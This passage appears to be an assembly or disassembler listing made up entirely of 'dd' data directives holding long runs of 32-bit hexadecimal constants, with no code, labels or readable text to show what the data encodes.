		dd 1F0ECA59h, 604A4051h, 0C9988CF6h, 0D65E00A8h, 0CEFE63BCh
		dd 91011903h, 0B5872BCFh, 0A5DC2C1Ah, 6528001Fh, 86440180h
		dd 475CE3F4h, 784300E4h, 0D61AD2Bh, 185B0150h, 9A7B72E7h
		dd 0E99CFCBDh, 1A19B104h, 15C09D3Bh, 446C0F5h, 689EEEF0h
		dd 1E60A042h, 0F83BB100h, 4CD9647Ch, 289644h, 0E19E6171h
		dd 0AF177209h, 550148D0h, 54BA1E9h, 0E09940F4h,	90B51D83h
		dd 8A178032h, 856265DAh, 0C8771400h, 3616114Dh,	3C29E1BBh
		dd 888E3F12h, 0B3834E50h, 0D0B2A387h, 0A0E23FDDh, 0A0B4BB10h
		dd 0EC291Ch, 4176758h, 5A696B5Fh, 64F03A7Ch, 0CB0C5E00h
		dd 3F72A71Fh, 47ED017Dh, 3BB2651h, 0A00C837Fh, 61D9B4h
		dd 1F5F1558h, 3F46BA35h, 0E1B5710Ch, 3B37036h, 7FF1F027h
		dd 58022D4Bh, 0BBBF1656h, 35448005h, 0EC026DDh,	48461AA8h
		dd 0A0491C04h, 50013D4h, 82ED1E0Ch, 0E4387150h,	0B8123CB4h
		dd 0E6FA5382h, 5D40327Ah, 797BB540h, 0F5C1F203h, 0DF8E935Dh
		dd 712887A0h, 3B83779Ah, 520048C5h, 5F29D334h, 0D213F8A7h
		dd 20407D37h, 0B080AB22h, 0B2170087h, 0F7CADA6Ah, 0FF3837A6h
		dd 7B510002h, 784975F5h, 431B0014h, 0FA98280Ah,	0EE584FF1h
		dd 88D80004h, 554E0689h, 50E5001Dh, 778EAACFh, 301E2B8h
		dd 7FE4BF56h, 0E5C86102h, 0AD980052h, 7E82906h,	0E000E285h
		dd 8158AAAEh, 57E467h, 0D8FE7C09h, 0FB0F50BCh, 7333C900h
		dd 13FC5D6h, 0CAD767F7h, 47FFB086h, 204A38E2h, 0AB04FC50h
		dd 0BF00B5B8h, 432BF4CBh, 0A52298B7h, 0DB13582Ch, 9400C48h
		dd 18896Bh, 5F837CCh, 0B5513DF1h, 1F413807h, 1C362013h
		dd 57326AEDh, 10FC290Ch, 2389715Ah, 2D442608h, 8F044420h
		dd 20476F44h, 54221E33h, 18C42228h, 4273D122h, 90511EBh
		dd 0BB14A821h, 80F2128h, 2C9F46CAh, 6E502262h, 45EA08E3h
		dd 1482FE47h, 7724CD35h, 17A16820h, 8119F480h, 1B60D272h
		dd 0D507EF24h, 13D98D7h, 4D079ED0h, 2B170055h, 0F46646B7h
		dd 481638EAh, 1400B881h, 4D01394h, 0F83300A5h, 0CD2EB474h
		dd 0B61C4EDEh, 0CF03F70Eh, 80C60A11h, 1DEF1CB8h, 4306C1BCh
		dd 2E94159Dh, 46DCA1A0h, 9BF0AF0Fh, 650809Ah, 24227B8h
		dd 549E4381h, 0D8771D6Ah, 6DCE3981h, 4B38FE01h,	0D8C89850h
		dd 4139F652h, 42FA405h,	0A0D1FC80h, 0EEA3D832h,	4D71007Eh
		dd 68807F52h, 40001372h, 8D847358h, 7C2772Bh, 0F90FC51Bh
		dd 0C0279099h, 0D3012CCCh, 0B750AEEBh, 93F08CB0h, 12440088h
		dd 0C3312745h, 3C901D52h, 43B1FD00h, 0E104CECBh, 489B00F2h
		dd 0C45CD3A3h, 24008749h, 8473A0Ah, 3052Eh, 29E1A5DCh
		dd 87DB679Dh, 40ED4E00h, 54277420h, 63D907D4h, 9A8F4B55h
		dd 0F7E940CCh, 97011EEDh, 7154B7CCh, 4DE8F4F2h,	123E30BBh
		dd 47B280BCh, 2DB71000h, 8B96CE74h, 5AAE0070h, 0E1179F14h
		dd 0A401349Ah, 0EB5032EFh, 0A3708E4Dh, 21FA0FD3h, 0E6C07960h
		dd 0FD5AC0B1h, 801EF539h, 0EEBC8DC4h, 0E51455h,	15E44A7Fh
		dd 0AEA54188h, 96D55900h, 346BEDCDh, 0BD0A0084h, 26CA8F3Ch
		dd 0A45CFD7Dh, 0C49307A0h, 43604515h, 50DF995Ah, 349C71h
		dd 0F9698A4Eh, 0EB9808DEh, 51224C04h, 0C80DC11h, 74F4AB05h
		dd 0A76F0EFFh, 0D79167h, 0A2D0886Ch, 3A0075BFh,	0BA5A815h
		dd 29F6E7h, 77FD12A7h, 61BB7FACh, 5200B0E8h, 821D1070h
		dd 1263CF9h, 215E85A6h,	0E432EC96h, 0E748B1D5h,	70067F10h
		dd 3953BBAAh, 90930128h, 55E66A19h, 0BC14208Ch,	68CF1200h
		dd 2A3D58CBh, 0E23B0462h, 839DA086h, 0FE905F1Ch, 0F148746Bh
		dd 35520148h, 0B66DF94Dh, 9A6AACD8h, 0BFE7154h,	4AC80876h
		dd 0AD00708Fh, 9D156757h, 0DD93440Fh, 8EA080F1h, 0C3FA13h
		dd 4624D24Ah, 6F7FF055h, 38A01460h, 5A483Bh, 90780B2Bh
		dd 5E9B8246h, 0B9E68B03h, 901CBA6Fh, 952A67h, 0E5AE5C26h
		dd 0F3576C8Ah, 20206B24h, 19636500h, 84DC91h, 8175D83Bh
		dd 87C26177h, 71F89F00h, 67F25E68h, 0CC30005Fh,	23D9CFE8h
		dd 9671B256h, 0DD00E671h, 5D3EEC01h, 0BF53BB0h,	36C6B8B4h
		dd 9B12F460h, 0FF681102h, 0E08D19E9h, 3D1E87Ch,	0AB772FF8h
		dd 0FE90B254h, 0F6009036h, 8318999Ah, 7E756BA2h, 0CF5500F7h
		dd 0DCC6D8BDh, 0B100232Ch, 9E5DAD2Eh, 110B66Ah,	9F1CE58h
		dd 0F0E1CBA0h, 5748A575h, 0A8BE00B5h, 0A10FB5D5h, 6EC20034h
		dd 0DB7A1E62h, 9D00B325h, 35917B4Bh, 0EF92A0h, 32126184h
		dd 0DEBBB9Ah, 25F60E00h, 0F20B898h, 0B1094C99h,	0CC55BE01h
		dd 4013E538h, 0AB40F9A0h, 8C00C178h, 2FF3E71Bh,	0EDFC46h
		dd 0B798EC5Ch, 76D8A43Fh, 134CCE01h, 0D077D503h, 5FD21080h
		dd 3734F9C4h, 0D161A00h, 0D9EB116Eh, 493E0007h,	0ED575405h
		dd 0F42CE10Ah, 958774BDh, 0A20070C5h, 0CCBADFh,	72ACADCFh
		dd 0BFD8D5C0h, 61109A00h, 54B564DBh, 927D30E5h,	28772C68h
		dd 0FC4B3F00h, 94839E3Dh, 3A898B3h, 0DF65E1F5h,	61D0C660h
		dd 5D48A466h, 1608000Bh, 80225112h, 2981C884h, 435CF102h
		dd 0F344433Ah, 4071FA7Fh, 31BF2B5h, 1C16EC66h, 23C96B8Ch
		dd 59FCC4F7h, 0FE3DDD00h, 970E6331h, 279009Fh, 6636A34Eh
		dd 12132CA8h, 0F40855F8h, 0E57D6019h, 5312E7EBh, 0A0416F09h
		dd 9782A245h, 2B8E90BCh, 114028C2h, 3649EC7Fh, 0E86C6400h
		dd 0EE59A1FFh, 34480784h, 0A6F93Ah, 0EBBC4998h,	0AD77FC09h
		dd 0E7048022h, 31C9733h, 0BD7C2337h, 0CCB8D0EEh, 380090A5h
		dd 9D4A14C0h, 543980ECh, 9B3B092h, 0C78B0376h, 4DD14880h
		dd 0AF002D43h, 919C0596h, 59670Ah, 8CFDFFCDh, 83E590BBh
		dd 37569826h, 0A0F6800Eh, 0B5C70347h, 0C47FB6h,	55C3A457h
		dd 69D3A29Fh, 2D64171Dh
		dd 820678C0h, 1E26FDC0h, 0A761354h, 1C81BA7h, 7CF21524h
		dd 0B840E06Fh, 4A319900h, 3E814722h, 8DAB0020h,	0B3A0CA65h
		dd 738DFF1h, 50BE00C3h,	5B37F3CFh, 1DA400AEh, 9A02FFCBh
		dd 46003019h, 76EDDCF8h, 0B0E86DFBh, 0F1E903F0h, 0F535E5E6h
		dd 0E7F14BCBh, 0B7844013h, 9D00B4C0h, 5CB83402h, 0D329Eh
		dd 45C1EF9Ch, 7D6DEC82h, 0A8506628h, 3F037871h,	7CE7A69h
		dd 96ABD05Eh, 0C4632881h, 0C7F000E0h, 984A8605h, 3B00A3B9h
		dd 8A55D06Bh, 3F091096h, 0C81BA97h, 2A2AE95h, 0D66DFCBDh
		dd 81B85B00h, 0CA775566h, 0DCFD00FBh, 9BAB08D4h, 0B4003F1Bh
		dd 9A3A15Ah, 1EE2D0C3h,	0C0A6AC24h, 522764DCh, 260E29DFh
		dd 0A05C4BA1h, 437F77F1h, 0D3DE3930h, 8F617980h, 3E948636h
		dd 0A727E600h, 0E226A1BAh, 9CEA0439h, 0C0BE6E4Ch, 85493B8h
		dd 6A654B00h, 7DCA467Ch, 2A4C266Ch, 649200B2h, 4FACE69Eh
		dd 686EFB24h, 0E7D2B000h, 0D0C5E4h, 0AD574BB5h,	3E9D24BFh
		dd 8120A30Fh, 3133A00Dh, 7DEC2C0Bh, 0EF5E001Dh,	450E86F4h
		dd 907DD9F1h, 92052AB8h, 1601B5ABh, 0C3C08480h,	0FD890C8h
		dd 0C96F22AAh, 9B2D34E1h, 59F030B8h, 5B0B9DEEh,	80437210h
		dd 4EE915D8h, 0C87E28h,	248CAEA4h, 7C29554Ch, 80910A3Dh
		dd 0A8273CD8h, 0FD7995Dh, 0E3DC1C8Ah, 0A42CA4D4h, 4A9F3B14h
		dd 2816CA7Bh, 627205F4h, 0D66CC055h, 9C01793Ah,	324DB3C1h
		dd 0FC500A35h, 1E2A80h,	0C24110EEh, 6D038ACh, 0FB74C100h
		dd 0F1275748h, 9D89005Fh, 98A124E0h, 0EA00CDB5h, 1F699BA6h
		dd 50C61Eh, 3FA82C63h, 0B7D6543h, 713413Dh, 6CC01D27h
		dd 234E011Fh, 0AB6006A2h, 855D01DFh, 40361C96h,	2E38FC4Ah
		dd 0B547BC07h, 28012CCh, 3D8ABE91h, 0B8B944F5h,	0FB0700FFh
		dd 0EE1308E2h, 9400B9ECh, 0D4BEB772h, 905FCA61h, 186307FCh
		dd 7015A227h, 0CB3EAC65h, 0C4A63703h, 0F8E582F6h, 27F9684h
		dd 0F1C29367h, 0D1C07A8Fh, 29004B8Dh, 0F97B8E4Eh, 0F85F6E3Eh
		dd 0E552005Eh, 0D6C64943h, 2800F1A5h, 13B57AB1h, 0CE39A4h
		dd 5496B875h, 7BBBD8ACh, 44982F09h, 0FA140035h,	603CEA91h
		dd 0B3E41040h, 5A036BF4h, 289F0A05h, 0E5A80038h, 908209B1h
		dd 0C4001AA6h, 0ED9130FFh, 0C7D48Fh, 18A839D5h,	94A42B79h
		dd 0C8AF5100h, 6507413Fh, 46A7150h, 5657F915h, 0ECCD071h
		dd 0B3006FFFh, 0B175ED0Bh, 73385h, 0D14324C5h, 0E09640A8h
		dd 0BC62CA00h, 0EC759C52h, 67BF009Fh, 71B5C369h, 0DC00D860h
		dd 2737B062h, 98892AADh, 0AA6E0B30h, 9890581Ch,	0A91EC2A8h
		dd 3A00DBA7h, 73ABD147h, 1E2C90BFh, 185FF42Ah, 57C01105h
		dd 0CDEE0F00h, 3670840Bh, 0B0A9627Bh, 0E5425553h, 803B4854h
		dd 3258F1C5h, 0E8FCC7h,	0E1D20B0Eh, 0D91DCB41h,	0E940FE00h
		dd 252C6E4Bh, 14720138h, 9E424EF2h, 0D080E674h,	3A8CAF7Bh
		dd 3B19CE01h, 0CDBBEB05h, 287830h, 0AC2E51E7h, 0EC867CFh
		dd 0FFF0A62Ch, 0F3F48600h, 7D214Ah, 0D159DE4Ch,	4FE0355h
		dd 20E2FF00h, 72DC5DBBh, 183F0093h, 8279664Bh, 0AC00EF19h
		dd 2FECF603h, 0D13C2Ah,	3D65FA93h, 0DF98A7B0h, 85613Dh
		dd 6352E95Ah, 0EC0BA3E0h, 8A6800BEh, 0F45321E2h, 0D30FE801h
		dd 0E0772661h, 0B9AD5892h, 1CF5741Bh, 40878B28h, 0CD2DA933h
		dd 0D90E52CFh, 0AE2BBEF3h, 602ACB25h, 0E1BB40h,	0F72E214Fh
		dd 6FE8F3Fh, 15036496h,	8A22ED14h, 0C1A28EFFh, 79AEC098h
		dd 5F2BCCh, 2C38BB43h, 5A80BC9Dh, 75066C02h, 60BAB8F5h
		dd 5367850h, 0BF43B1F9h, 0D94DC098h, 64008495h,	4CA09763h
		dd 0F25CC0h, 0C6B8697Fh, 14467401h, 1D67A200h, 0B0E1EFECh
		dd 20A4876h, 9180DE3Bh,	9EA9F701h, 60038DE2h, 0C1AD1877h
		dd 3B04807Dh, 4FB71FFh,	746BA9EFh, 75ED804Eh, 9B000969h
		dd 45F4E725h, 3E9085h, 0C479C1EAh, 6FDB674Ch, 9E5E403h
		dd 0E0C02C49h, 3E47E2h,	0AA66A2B4h, 9D12AEF8h, 0F607901Ch
		dd 6240715Ch, 0BD10DFDDh, 955079Eh, 10BF92AEh, 0CBB5DB69h
		dd 5BD8AD1Fh, 25DFD1C5h, 3D1F84C0h, 12FD0705h, 474BF30Ch
		dd 2AC0BF5Ah, 84A9A86Ah, 0A034F01h, 0FCE6D0E4h,	0E700D438h
		dd 341F8F73h, 87B8A9FEh, 2BF82E01h, 0E92ADC21h,	9900B444h
		dd 0D43463BDh, 71852C0Ch, 0CEF49E10h, 0BEEE500Fh, 0EC938080h
		dd 0CC00FEF2h, 0A927BA55h, 0EC1E1D7Eh, 222400F9h, 0D2E634B0h
		dd 26002BDAh, 9FFCD9B9h, 925DD1h, 0F637BC90h, 8E0787E9h
		dd 4A1FC492h, 0B7802873h, 16E1781h, 0B80300D7h,	0DCCFE72Eh
		dd 0CC1E4A2Ch, 4E80BCA7h, 99A0B170h, 763B893h, 548D6AF2h
		dd 64FDB014h, 39005B32h, 9E5DC476h, 3DE8B0D2h, 341C6757h
		dd 60CE4095h, 8E5F735h,	86E05403h, 905C4DB0h, 739C4Ah
		dd 0B3A67B3Dh, 0E3D6B970h, 2DB5BB00h, 0A32FAFF1h, 0FDF4C5h
		dd 5E298FD3h, 33DE1C43h, 8BE4BB02h, 68BDAB3Eh, 10AE52Ch
		dd 14A703C6h, 81B52FEEh, 7E0FA618h, 4C30C0D4h, 72660090h
		dd 0DD3AA05Fh, 30F7CF3Eh, 0AF1D0370h, 5D8049D2h, 0D6304A81h
		dd 3D8F0182h, 0FFB6B5D5h, 0BE4080F2h, 968DC86Fh, 88904C53h
		dd 0F409B306h, 720021C4h, 25E2FA2Ch, 1E9DE91Ch,	0C98921A0h
		dd 800067A7h, 0CB8E2F7Fh, 801EEF00h, 56CEC69Bh,	0F8A600AAh
		dd 9733A914h, 0E100D1B3h, 2EE70E5Bh, 9043CE5Eh,	0CCB026E3h
		dd 96F2001Ch, 1FDC91C7h, 80AF113Fh, 5AC39AC1h, 0A11E40h
		dd 39C0A7CAh, 45BBF472h, 78A5CF30h, 7CD959h, 0DB5ECB65h
		dd 20534F22h, 0C36C1C5Ch, 0B70AE455h, 68823F20h, 6E86009Dh
		dd 66B432ACh, 0D1E0F28Fh, 0E8EF772Ch, 570DDF00h, 5202F3h
		dd 549E68A4h, 0E4D587E5h, 3EF4A3Ah, 91D48B5Dh, 0F89C9332h
		dd 0DAA3E2h, 0F3EBFC9Ah, 31AE6E62h, 8ACB8700h, 0F2E95C29h
		dd 0A54650BBh, 0A454125Bh, 0C19C0BEEh, 7A06BB00h, 4300E1AAh
		dd 785322B9h, 158FF9h, 23BDB76Dh, 1CA7B69Fh, 4B46851Fh
		dd 78172980h, 7A1496Ah,	2B45F535h, 0BEFCA024h, 59002C95h
		dd 49349897h, 1F136A27h, 0C0EEBB0Dh, 8F1A7877h,	0B2016561h
		dd 0C672B535h, 0FDF4ABD8h, 7D747875h, 53C008Bh,	10162A61h
		dd 0F500249Eh, 44DD51B7h, 13AE5D5Fh, 0B44972A3h, 2D26CA88h
		dd 758028F4h, 89175B7Dh, 0A491EE8h, 0D63887AAh,	37203C18h
		dd 8515F500h, 738A1B68h, 13E92689h, 0E391CE8h, 169EF1h
		dd 0C51929E7h, 4D1EFC14h, 0E8249F4Ch, 91B56C00h, 228D4E8h
		dd 0C17911A0h, 2C604C6Bh, 0F55A3A5Ch, 3E93A440h, 7D9AE8h
		dd 0FA34C531h, 0B19F87BFh, 0D5BE7400h, 77DB0C2Dh, 3070F44Bh
		dd 9621AE58h, 1E79E4F9h, 9C8A4E3Fh, 0C38068A9h,	0CDC70165h
		dd 3EC53F74h, 180F8C0Bh, 0BCC0CD0Bh, 632E6520h,	0C400333Ch
		dd 480CE2F1h, 769E0423h, 0B9712A16h, 0C6D70038h, 4B037BF1h
		dd 0D1C4005Ah, 0ACAD0936h, 6930DF3Ah, 781E5005h, 4614A0C5h
		dd 0F492028Bh, 0C335B98Eh, 0DF02343h, 0B9C0A964h, 1F5EC56Ah
		dd 0D741006Dh, 631E7F74h, 8F00C6E4h, 275A6C3h, 3DB4B6h
		dd 3277F89Ch, 5E7F52BAh, 0ED20B10Eh, 84FF6325h,	71CD929Bh
		dd 0E99C0074h, 0C14E9F2Dh, 994DE601h, 64D8F522h, 808F24AFh
		dd 0DF614B20h, 2F005950h, 7B0FBAFDh, 0E61FC8C7h, 0E2630304h
		dd 0E06CE8A6h, 0F46989D1h, 353CD191h, 2CE100A5h, 16C9CF3Ch
		dd 935B058Ch, 0C0217E01h, 2087BAD4h, 0E3A69412h, 9CC0BC12h
		dd 0E28DB0h, 0AA3E1574h
		dd 98240F0Dh, 0B5548100h, 5A65D375h, 38D4E582h,	39CEF2B8h
		dd 8890678h, 40C049E3h,	8AF801F1h, 0C920B66Fh, 6BE78011h
		dd 3A1ED46h, 93E93DC7h,	941EB0B4h, 867AEC7Eh, 0B64D4961h
		dd 92F33A19h, 1003358Fh, 434ECA45h, 6ED2DA88h, 1CC361F8h
		dd 322ED716h, 10B68462h, 0FB7620C9h, 38029B00h,	0DDCAEE12h
		dd 0E57A0087h, 0ED1B39BAh, 7E7C3DD3h, 38A62C00h, 0A54BC141h
		dd 355C0271h, 3DC3987Ch, 19801840h, 80BD5E3Fh, 656C8C2Fh
		dd 282955h, 0D29A64A3h,	0CF8171D0h, 0C31DD4FDh,	920C50C0h
		dd 3ABF035Ch, 0C000C7B9h, 0DE13F001h, 2C003B55h, 0E1DCD75Eh
		dd 0B67A0AFAh, 8D890770h, 10809F2Fh, 6BD68B29h,	49383F00h
		dd 3D592B65h, 57C10078h, 2EFFC39Ch, 0F31F4630h,	0EE06944Eh
		dd 7BD69017h, 870D0049h, 2BB8EB89h, 3D0085B7h, 1DBD2C4Ch
		dd 0B1300Fh, 9490CA46h,	3B649F88h, 2B5D439h, 4F96AA7Ch
		dd 794CE08Ah, 56B3009Ah, 50CEBAABh, 9D002773h, 7B5AE8ADh
		dd 7AAA8EE5h, 1938007Fh, 31C59155h, 7A16D42Eh, 0A4408525h
		dd 78432BC2h, 93900EFh,	586FD996h, 0FF00E767h, 4282BB27h
		dd 0E0858804h, 0C9280068h, 9C72B1A8h, 80734A05h, 6AEF1C00h
		dd 3C85EC75h, 609E4962h, 8767DA09h, 0E504346Ch,	0B046288h
		dd 0C0F5E490h, 59F407BBh, 97EE1FB4h, 0A1F770AAh, 7E5F16F9h
		dd 0E3692800h, 18E29111h, 6238E85Fh, 4490C81Ch,	0FA92E703h
		dd 0D8EBAD15h, 0BE757A31h, 363C2B2Ch, 28585820h, 0A8E22480h
		dd 0AF40CA18h, 44400089h, 0DF1815B4h, 0A400665Ah, 0EE285098h
		dd 0C0CD2D31h, 0EA42B728h, 27E89D06h, 98002BF8h, 0C61AAB3h
		dd 72AB7BC1h, 38830422h, 0D21923C0h, 44E8AF64h,	852C319Dh
		dd 0AD03319Ch, 0D8E445EEh, 0E6A3E8D9h, 0CDB80059h, 26CE6FC8h
		dd 0DE00466Ah, 0BF69F50Ah, 375C8C98h, 90F88B60h, 2E3B17FBh
		dd 63DDCF04h, 92C0B172h, 9F81D7h, 0F7768486h, 53A695F8h
		dd 0DA0A3D00h, 0D4BDB1F1h, 0C85F1461h, 8C03BC9Dh, 0C14FB315h
		dd 9B43380Ch, 0B23C24h,	0A6B6574Bh, 279C1214h, 0FC9270EBh
		dd 560085E0h, 0BD444D0Bh, 0EE026Ah, 6099D378h, 7B11B6B7h
		dd 9AC6B100h, 54C4D4B0h, 82BF0025h, 4C975221h, 6A00C912h
		dd 30159698h, 3CF7F3h, 48A66116h, 0D1F53B31h, 0F2AFAE13h
		dd 4D8EECB0h, 6D003C7Fh, 0B3060BEAh, 0A3004485h, 0BF2F51C3h
		dd 426216h, 1DD43CE1h, 251C6CFDh, 46E9E800h, 5BE0F235h
		dd 0A7E1485Ch, 0AA2CA000h, 0EE9E5D1Eh, 30B093FEh, 800564Eh
		dd 85344BBEh, 0D95006Bh, 0DCEF6D9Bh, 57005A45h,	1E5B334Ah
		dd 70BAB6A5h, 0A8AC1CCDh, 1ADE01C7h, 0C07E7AE3h, 73EE7B0h
		dd 0A093800Bh, 0F7034669h, 82B3D52h, 0F3278381h, 0C589667Ah
		dd 0B6C32ECh, 0E09E4268h, 12ACA60Ch, 0D4C99Bh, 7DFD8940h
		dd 8000C468h, 8CA2D879h, 118227h, 0EFA61A94h, 4BF3414Fh
		dd 22510705h, 9D004325h, 0F7A57504h, 9CE006Ch, 0C9EFD41Ch
		dd 50EC6DA1h, 56D74A50h, 76B5F400h, 0EA774FE1h,	0B39100C1h
		dd 0E350096Eh, 20C157D5h, 45B99390h, 10806BD5h,	21027F92h
		dd 3400CFA4h, 0A8F563FEh, 0B666ECh, 0ED0C51A0h,	0D37B32B8h
		dd 2D9A9007h, 29219921h, 0D7F808B7h, 0C0FA00CBh, 10BE5639h
		dd 770065F0h, 5BB30EB5h, 3E793594h, 2180CB1Dh, 7B7192FAh
		dd 4E0091BAh, 0B52249C8h, 800CECh, 8C556787h, 0CAC3CDCFh
		dd 0E0B31B00h, 8310512h, 896300F0h, 495B436Fh, 0D7005C75h
		dd 804E8191h, 794B18Eh,	0A365F242h, 1B7151F7h, 1222E030h
		dd 972D9B00h, 68B4CE2h,	95A3000Fh, 9571899h, 6C002405h
		dd 0F886D7FCh, 9AB7DEh,	642627ABh, 0B6F176D0h, 629E3500h
		dd 1D613386h, 453D031Fh, 0F555D946h, 0E781CFF1h, 305D5000h
		dd 888EFC72h, 3FFE9Ah, 86BB02D2h, 7F3C387Bh, 9066D50Ah
		dd 1E87D468h, 0A2313709h, 2BD8455Ch, 8D291EBBh,	0A47EC628h
		dd 0AEF0E0DCh, 0A60D0800h, 3F54BC02h, 112D0393h, 2290E659h
		dd 347539C0h, 1E057107h, 0E08F47A9h, 8D650FFDh,	8B4B00AAh
		dd 0C125109Ah, 0CC019596h, 71B10664h, 0D8D05566h, 0BC9A0F42h
		dd 6260C37Eh, 224BB36Eh, 88A43000h, 0AD16F0F5h,	0F15F51DAh
		dd 3EB10F60h, 64CFAE3h,	0E48A6A3Dh, 80B8F848h, 44CA3DBFh
		dd 67142704h, 1C02105h,	34828DD1h, 6C20E386h, 300100A5h
		dd 0B9F86C90h, 92D3FD3h, 1803547Dh, 0FD10392Bh,	26EEB700h
		dd 0D740B474h, 0E4849244h, 961A0084h, 4D9136D4h, 18C0053Ah
		dd 7CB94EC5h, 11086041h, 5A2ABBD6h, 0C8A40E00h,	93EA6B43h
		dd 3E360C34h, 185142D1h, 14075A03h, 9BB96B30h, 103830BDh
		dd 3712CD1h, 0D305D803h, 0CF0D0137h, 6B3C1940h,	94270EB2h
		dd 740EA70h, 114AAEE1h,	0A8BDE40Eh, 192D65F0h, 0D0A28C40h
		dd 0EEF16D42h, 4B951F1Ch, 0D9738A31h, 18CD0734h, 0FBDF4027h
		dd 24006620h, 0A826CF52h, 0C0324F06h, 0DFDC09C0h, 6F0EB890h
		dd 1DA4C1A9h, 4CBD2A80h, 3E15E170h, 2B008D1Ah, 2ED6F0D4h
		dd 0D5076855h, 0DB5D0618h, 299B7520h, 1F440064h, 4B6536CCh
		dd 0BB0041CDh, 0DBF4CB7Ch, 9AE3D4h, 1B328569h, 2B8B88FFh
		dd 89188700h, 0F8D46405h, 1ECF09Ah, 0A1BDD639h,	30FCCB55h
		dd 8200DCF0h, 0F0C958FBh, 5440DAh, 35E81FEh, 7BAA0F9Ah
		dd 9E25F802h, 0E0CDAFC1h, 0A8BF2Bh, 0CFBE1550h,	103E3D8Ah
		dd 0BA58A001h, 4D847505h, 21E0AAE1h, 35A600D4h,	1B2A07C9h
		dd 0C73D8151h, 0F59600E9h, 1F80ADE8h, 0B4ED035Bh, 1BD6C9Eh
		dd 813E701Fh, 0C5118900h, 0F45912Ah, 8F387A93h,	8C331080h
		dd 0EC0DAFCAh, 30B2D8A6h, 0B0737FECh, 12BC0B6Fh, 9F81C3D9h
		dd 60376199h, 3F01BAACh, 3AFB3E0Ch, 0A08C3CABh,	3BE1A902h
		dd 0EE89D500h, 60B4B270h, 441C1DFFh, 2E5500D3h,	0A8C1AE6Ch
		dd 0B05B31Bh, 0DA3AD8A1h, 0A7403D6Ah, 58E86080h, 61C0DB77h
		dd 5019BD05h, 844302CDh, 90E6217Bh, 711DAD8h, 97FF881h
		dd 0F93A087h, 500C102h,	351CB567h, 0B7DE3ACh, 25B7ADD2h
		dd 0D36B4200h, 563AB436h, 5B8C0F10h, 0D616222Fh, 2DC2E053h
		dd 17AF1EDAh, 9ABCC3ABh, 803A852h, 6D6C825Fh, 0D687E96Ah
		dd 723243C0h, 0EC6900BBh, 0D34105BDh, 0E0004596h, 3DD69257h
		dd 0F0517255h, 0C040DFB6h, 0E3F45CBBh, 201696C3h, 0A1007849h
		dd 10F9EE1Eh, 0BB7B3C5Dh, 0F8C001F2h, 1A3ED35Bh, 50F26021h
		dd 0EC89DB3Ah, 0D5F9950h, 0ABE3CB1Eh, 82B4F170h, 65DDC419h
		dd 0C960FDECh, 8D1806D7h, 5B58B533h, 1123004Eh,	2D049116h
		dd 18C7BA9Bh, 0DB1798AAh, 0FE5CA95Ch, 35EF001Dh, 3DD7C005h
		dd 5AE8BDDDh, 0FB209960h, 0E70ACBh, 0F8C890A0h,	0B0FC4932h
		dd 0DB4E3500h, 0FA9115A2h, 99BE0661h, 0B8510929h, 747E1E0Fh
		dd 0E6B34050h, 64DD63h,	69BDDB3Eh, 8B328A53h, 86173A38h
		dd 0D683F215h, 6EEB0088h, 0F83BAC19h, 41168AF7h, 7E014E38h
		dd 0E7C340D0h, 1CA7FCC4h, 0C28B684Dh, 3E02F786h, 541300C0h
		dd 42053Ah, 0D0E00EE9h,	0A53052h, 63CE1447h, 98EFA30Ah
		dd 0EA9A5D00h, 7C49259h, 0E8DFEAA7h, 916300C0h,	80090167h
		dd 7600F8C9h, 0B8AE2A3Ah, 2E92B970h, 7E34B28h, 0B0EB6BB1h
		dd 80C293A7h, 2C8DEE00h, 826A4E4h, 0AB6D00B6h, 9384D2DBh
		dd 851A13E1h, 1510D35Eh, 0A1005704h, 0AC8EF314h, 26460075h
		dd 824483B6h, 0B73DC27Eh, 0B23D8173h, 0F3F7AA34h, 0F03AB3E0h
		dd 0F3FE8EAh, 5CE1885Bh
		dd 0B6ABC880h, 0B70EEE46h, 0BCE5B201h, 0B1EF3E03h, 0AD40E7FBh
		dd 0D0D268h, 0D44407B6h, 0EDF319C3h, 0F5D6AC03h, 0C2F6E4D7h
		dd 0E609E036h, 0AE21473h, 0C0A964F7h, 10C07C0Fh, 0F7D0AE5Ah
		dd 0A56D0EDCh, 0B5C0AB87h, 55095966h, 5203FEE0h, 685A7A67h
		dd 712911D3h, 57651181h, 11530A11h, 4D21D458h, 955D4908h
		dd 0D52228D6h, 22D05922h, 0C2223AE7h, 0CDD9225Dh, 71143550h
		dd 446E2544h, 0E20745Fh, 114142EAh, 7A21234Fh, 4222801Ch
		dd 226B111Dh, 9A108621h, 44CFE984h, 324826DFh, 0E9F88D41h
		dd 28820502h, 1E249076h, 88F99221h, 1CDD129h, 0DB227348h
		dd 366EFC21h, 1A793200h, 2BCE68A3h, 47C500F2h, 501EC79Ch
		dd 0DD00F10Bh, 41CB18F9h, 3ADEC3B6h, 6F80B27Ch,	5D3C9EB3h
		dd 1900E2D4h, 0CEDD77CAh, 7A3697AEh, 0C0F70067h, 2C9296Ch
		dd 5D1C9A26h, 0A55EC455h, 7720AE03h, 349600AAh,	0E3361E16h
		dd 94000BA3h, 1DC2626Ch, 0CFF9FCh, 24631EBh, 2C2E454Ah
		dd 0EFCE6501h, 0F77B3906h, 0E45870h, 9BCF6D37h,	564E2D95h
		dd 0AB101500h, 9AD4A6FBh, 0B0F22423h, 73380080h, 37DA199Bh
		dd 0C2B086F4h, 507B49h,	0C332165h, 1FFC2A42h, 0C0A5329Bh
		dd 0F6DE1FD4h, 760074A0h, 1C06C2E1h, 4D839h, 6119C512h
		dd 27D6258Bh, 364B4D07h, 96C0455Fh, 7C206EDAh, 661007Fh
		dd 71477729h, 870CAC10h, 7954E957h, 3888038Eh, 0B5912867h
		dd 9D94D7D0h, 0BBDF960Fh, 0F22DE045h, 23C45Fh, 0F036B31Dh
		dd 734FD731h, 2271F00h,	700994B0h, 9F5B0018h, 7545851h
		dd 0D67D76C4h, 6361B0Eh, 68FB80F4h, 3931B9h, 3EBF7F0Fh
		dd 0E3D05CF0h, 105A7B00h, 0EE7774E7h, 9F2D0014h, 0FDA75B2h
		dd 26672C60h, 0B1406368h, 0EBB964h, 0EF118693h,	61B871FCh
		dd 2405DD7Eh, 432B13B7h, 8F91B400h, 3DA77Fh, 86A6788h
		dd 0FFA20DC1h, 3198EC1Fh, 9D78FB41h, 0E5CC265Ch, 51050FEFh
		dd 0FECEA266h, 20031120h, 0A400DF2Ah, 189175E1h, 207E57Ah
		dd 8812A779h, 0A080860Eh, 5C3596FAh, 5F552C00h,	0A227D7ABh
		dd 0F9A01FEh, 7DB52FE3h, 3E3FC46Dh, 17EF8300h, 0EDE1C105h
